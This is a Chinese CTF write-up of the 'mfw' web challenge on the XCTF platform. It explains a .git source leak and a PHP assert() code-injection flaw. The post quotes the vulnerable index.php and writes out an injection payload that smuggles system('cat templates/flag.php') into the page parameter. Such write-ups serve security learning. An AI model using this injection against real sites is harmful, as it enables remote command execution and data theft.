攻防世界web之mfw

    xiaoxiao2022-07-12  152

    mfw

    拿到题目是一个网站,查看源码

    发现一个page=flag,访问之后没啥用

    提示信息里提到git,想到**.git**泄露,扫描一下网站

    确实存在**.git**泄露,用git下载工具在下载来

    但是flag.php的内容是

    <?php // TODO // $FLAG = ''; ?>

    感觉没什么用啊,

    但是查看下载的文件的源码的过程中,发现index.php的源码中有这样的代码

    <?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

    这里看到了assert()函数,让我们想到了命令执行,而且page的参数没有进行任何过滤

    strpos()是匹配两个字符串的,具体可以百度。

    那我们就可以利用assert命令执行来查看flag的内容了payload:?page=1','2') === false and system('cat templates/flag.php') and strpos('templates/flag,查看源码即可得到flag

    拼接后完整的语句是

    assert("strpos(‘templates/1’, ‘2’) === false and system(‘cat templates/flag.php’) and strpos(‘templates/flag.php’) or die(“Detected hacking attempt!”);

    strpos(‘templates/1’, ‘2’) === false结果为真,and连接**system(‘cat templates/flag.php’)**会执行,然后再执行strpos(‘templates/flag.php’),

    个人理解,不对的话请指正。

    最新回复(0)